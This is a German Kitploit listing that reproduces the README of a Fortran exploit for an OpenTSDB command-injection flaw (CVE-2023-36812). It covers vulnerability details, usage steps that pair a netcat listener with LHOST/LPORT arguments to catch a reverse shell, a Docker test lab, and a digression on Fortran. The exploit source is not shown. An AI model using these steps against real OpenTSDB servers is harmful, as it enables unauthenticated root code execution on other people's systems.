Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
opentsdb_key_cmd_injection — Ein Exploit für OpenTSDB <= 2.4.1 Befehlseinschleusung (CVE-2023-36812/CVE-2023-25826) geschrieben in Fortran | Kitploit
Tools/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHuberikwynter/opentsdb_key_cmd_injection

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

opentsdb_key_cmd_injection

Ein Exploit für OpenTSDB <= 2.4.1 Befehlseinschleusung (CVE-2023-36812/CVE-2023-25826) geschrieben in Fortran

Repository anzeigen
711vor 3 JahrenNoch nicht geprüft
Teilen

opentsdb_key_cmd_injection

Ein Exploit für OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) geschrieben in Fortran

Über

Dies ist ein Exploit für eine Befehlseinschleusungsschwachstelle (Command Injection) in OpenTSDB Version 2.4.1 und früher (CVE-2023-36812/CVE-2023-25826). Der Exploit ist in modernem Fortran geschrieben und nutzt die offizielle Fortran http-client library, die Anfang dieses Jahres erstellt wurde.

Details zur Schwachstelle

OpenTSDB ist eine Open-Source-Zeitreihendatenbank, die in Java geschrieben ist. Im Jahr 2020 wurde in den Versionen 2.4.0 und früher eine Befehlseinschleusungsschwachstelle entdeckt, die ausgenutzt werden konnte, um Remote-Code-Ausführung auf dem Host mit Root-Rechten zu erlangen. Da OpenTSDB keine Authentifizierung unterstützt, konnte diese als CVE-2020-35476 verfolgte Schwachstelle von jedem mit Zugriff auf die OpenTSDB-Weboberfläche ausgenutzt werden. Das Problem wurde in Version 2.4.1 behoben.

In diesem Jahr wurde festgestellt, dass der Patch für CVE-2020-35476 unvollständig war und eine Befehlseinschleusung in OpenTSDB 2.4.1 über mehrere Vektoren immer noch möglich ist.

Details:

  • Verfolgt als: CVE-2023-36812. Es ist erwähnenswert, dass CVE-2023-25826 tatsächlich dieselbe Schwachstelle zu beschreiben scheint und beide CVEs auf denselben Patch verweisen.
  • Sicherheitshinweis: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • Credit: Gal Goldstein und Daniel Abeles von Oxeye
  • Patch: Der Patch wird in 2.4.2 eingeführt, was noch keine offizielle Veröffentlichung ist. Zum Zeitpunkt der Erstellung dieses Textes ist die aktuellste OpenTSDB Release 2.4.1, daher ist es wahrscheinlich, dass die meisten OpenTSDB-Instanzen in der Produktion anfällig sind. Allerdings betont das OpenTSDB FAQ, dass dieses Projekt "nur für die interne Nutzung geschrieben wurde" und "keiner Sicherheitsprüfung unterzogen wurde und keine Authentifizierung enthält".
  • Warum Fortran?

    Die Kurzversion ist, dass ich diese Unterhaltung sah: Warum?

    Die Idee, einen Exploit in der Programmiersprache zu schreiben, mit der Menschen auf den Mond gebracht wurden, faszinierte mich so sehr, dass ich es selbst ausprobieren musste. Dieser Exploit ist das Ergebnis dieses Experiments. Auf die Frage, ob es erfolgreich war, kann ich nur mit diesen weisen, aber verfluchten Worten antworten, die alle Entwickler in Blut verbinden: Es funktioniert auf meinem Rechner. ¯\(ツ)/¯

    Wie auch immer, meine wichtigsten Erkenntnisse aus diesem Projekt sind:

    • Fortran ist eigentlich ziemlich cool und überraschend leicht zu lernen.
    • Das moderne Fortran-Ökosystem, einschließlich des fpm Paketmanagers, zeigt großes Potenzial.
    • Fortran ist eine stark typisierte Sprache, und ich fand das gut, weil ich auf wenige böse Laufzeitfehler gestoßen bin.
    • Fortran-Projekte mit Abhängigkeiten sind groß, weil fpm den Quellcode der Abhängigkeiten direkt in Ihr Projekt einbindet. Der Vorteil ist, dass Systemverschmutzung vermieden wird.
    • Die Bibliotheksunterstützung ist im Vergleich zu modernen Sprachen relativ begrenzt und chaotisch. Leider betrifft das nicht nur die http-client-Bibliothek.
    • Es ist nicht überraschend, dass gute Dokumentation und Tipps zur Fehlerbehebung schwerer zu finden sind als bei den meisten modernen Programmiersprachen, obwohl es noch einige nützliche Beiträge auf StackOverflow und längst vergessenen Foren aus den frühen 2000ern gibt.
    • KI-Tools wie ChatGPT und GitHub Copilot sind noch unzuverlässigere Programmierpartner als bei modernen Sprachen.

    Alles in allem ist es nicht leicht vorstellbar, dass diese Sprache wirklich an Bedeutung in der Offensivsicherheit gewinnt, schon allein, weil es so viele solide, moderne Alternativen für jeden erdenklichen Anwendungsfall gibt (Python, Go, Rust, Ruby, C# um nur einige zu nennen). Aber wenn Sie gerne mit verschiedenen Programmiersprachen experimentieren und nichts dagegen haben, Ihre Strings ständig in trim()-Aufrufe zu verpacken (BITTE BEACHTEN SIE DAS, ES WIRD IHNEN SO VIEL LEID ERSAREN), dann ist Fortran auf jeden Fall einen Blick wert. Ich drücke dieser Sprache jetzt unironisch die Daumen und werde sie vielleicht wieder besuchen, wenn sie weiterhin Unterstützung für die http-client-Bibliothek hinzufügen, insbesondere wenn sie irgendwann eine http-server-Bibliothek hinzufügen.

    TL;DR: Fortran http-client lib geht brr.

    Verwendung

    • Starten Sie einen Listener auf Ihrem System, z.B.:
    root@kitploit:~
    nc -nlvp 1337
    
    • Öffnen Sie ein separates Fenster und navigieren Sie zum Verzeichnis opentsdb_key_cmd_injection
    root@kitploit:~
    # cd /path/to/opentsdb_key_cmd_injection/
    
    • Führen Sie das Projekt über fpm aus (stellen Sie sicher, dass es zuerst installiert ist. Siehe Installationsanweisungen im nächsten Abschnitt)
    root@kitploit:~
    # /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
    

    Optionen:

    • -t - ZIEL-URL: die Basis-URL zu OpenTSDB (erforderlich)
    • -l - LHOST: die IP des Systems, auf dem Sie einen Listener betreiben (erforderlich)
    • -p - LPORT: der Listener-Port (erforderlich)
    • -v - VERBOSE: aktiviert detaillierte Ausgabe (optional)

    Installation

    • Installieren Sie gfortran. Auf Debian-basierten Systemen kann dies wie folgt geschehen:
    root@kitploit:~
    apt install gfortran
    
    • Installieren Sie fpm. Der einfachste Weg ist, eine Binärdatei für die neueste stabile Version von den fpm Releases auf GitHub herunterzuladen und dann ausführbar zu machen:
    root@kitploit:~
    chmod +x /<path>/to/fpm
    

    Stellen Sie sicher, dass git auf Ihrem System installiert ist, bevor Sie fpm installieren.

    Poc || GTFO

    https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

    Einrichten einer OpenTSDB-Instanz zum Testen

    Manuelle Installation (nicht empfohlen)

    Für eine manuelle Installation können Sie den offiziellen Installationsanweisungen hier folgen. Dies kann jedoch ärgerlich sein, daher empfehle ich die Verwendung von Docker.

    Docker-Installation (empfohlen)

    Für Version 2.4.0 können Sie das vulnhub Docker-Image verwenden und den Installationsanweisungen hier folgen. Dieses Image wurde für CVE-2020-35476 erstellt, eine ältere Schwachstelle in OpenTSDB bis einschließlich 2.4.0.

    Für Version 2.4.1 und wahrscheinlich jede andere Version können Sie das vulhub-Image für OpenTSDB 2.4.0 verwenden und es bearbeiten, um die gewünschte Version zu installieren. Ich bin diesen Ansatz für 2.4.1 gefolgt und es hat großartig funktioniert.

    • Holen Sie sich zunächst die Dockerfile- und docker-entrypoint.sh-Dateien von vulhub OpenTSDB 2.4.0 von hier und speichern Sie sie in einem eigenen Verzeichnis.
    • Ersetzen Sie in der Dockerfile alle Vorkommen von 2.4.0 durch Ihre gewünschte Version, z.B. 2.4.1
    • Für docker-entrypoint.sh sind keine Änderungen erforderlich.
    • Erstellen Sie eine docker-compose.yml-Datei mit folgendem Inhalt:
    root@kitploit:~
    version: '2'
    services:
     opentsdb:
       build: ./path-to-your-dockerfile-directory
       ports:
        - "4242:4242"
    

    Ich habe diese Dateistruktur verwendet:

    root@kitploit:~
    wynter@wynter-pc:~/dev/opentsdb$ ls -lR
    .:
    total 8
    -rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
    drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file
    
    ./docker_file:
    total 8
    -rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
    -rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
    wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
    version: '2'
    services:
     opentsdb:
       build: ./docker_file
       ports:
        - "4242:4242"
    
    • Bauen und starten Sie abschließend das Image über docker-compose, indem Sie den folgenden Befehl in dem Verzeichnis mit Ihrer docker-compose.yml-Datei ausführen:
    root@kitploit:~
    docker-compose up -d
    
    • Nach einigen Sekunden ist OpenTSDB auf Port 4242 verfügbar. Es ist keine zusätzliche Konfiguration erforderlich.

    Eine kurze Geschichte von Fortran (weil nicht?)

    Fortran ist meist als eine archaische Sprache bekannt, die eine wichtige Rolle in der Geschichte der modernen Informatik spielte, aber heute nicht mehr als relevant angesehen wird. Es wurde erstmals 1957 veröffentlicht, mehr als ein Jahrzehnt vor ARPANET und Unix. Laut diesem Zeitreihen-Video war es in den 1960er und 1970er Jahren die dominierende Programmiersprache und blieb bis Ende der 1990er Jahre unter den 10 beliebtesten Sprachen. Aber zur Zeit der Veröffentlichung von Windows 98 war es eindeutig aus der Mode gekommen, zugunsten modernerer Sprachen wie C, C++, Java und JavaScript, die alle heute noch weit verbreitet sind.

    Abgesehen von den tapferen Seelen, die Legacy-Systeme verwalten, bezweifle ich, dass viele Leute in der IT (geschweige denn außerhalb unserer Blase) in den letzten zwei Jahrzehnten auf Fortran gestoßen sind oder überhaupt wissen, dass es noch existiert. Trotzdem wird Fortran aktiv weiterentwickelt. Wie auf der offiziellen Fortran-Website angegeben, wurde die Sprache zuletzt 2018 überarbeitet, und wir werden hoffentlich in diesem Jahr (2023) eine weitere Überarbeitung sehen. Tatsächlich scheint die Fortran-Community in den letzten Jahren sehr aktiv gewesen zu sein und mehrere große Projekte zur Modernisierung des Ökosystems veröffentlicht zu haben, darunter:

    • stdlib: die erste Fortran-Standardbibliothek überhaupt (erste Veröffentlichung: 2021)
    • fpm: ein moderner Paketmanager und Build-System namens fpm (erste Alpha-Version: 2020)
    • http-client: die zuvor erwähnte HTTP-Client-Bibliothek (erste Veröffentlichung: 2023).

    Angesichts dessen scheinen die Betreuer auf ein gewisses Fortran-Comeback abzuzielen, oder zumindest der Sprache eine faire Chance zu geben, noch ein paar Jahrzehnte zu überleben. Während selbst der fanatischste Fortran-Fan wahrscheinlich nicht erwartet, dass die Sprache jemals wieder die Top 10 der beliebtesten Programmiersprachen knackt, hat die anhaltende Modernisierung der Sprache und ihres Ökosystems Fortran wahrscheinlich relevanter gemacht, als es in den letzten ein oder zwei Jahrzehnten war.

    Tool herunterladen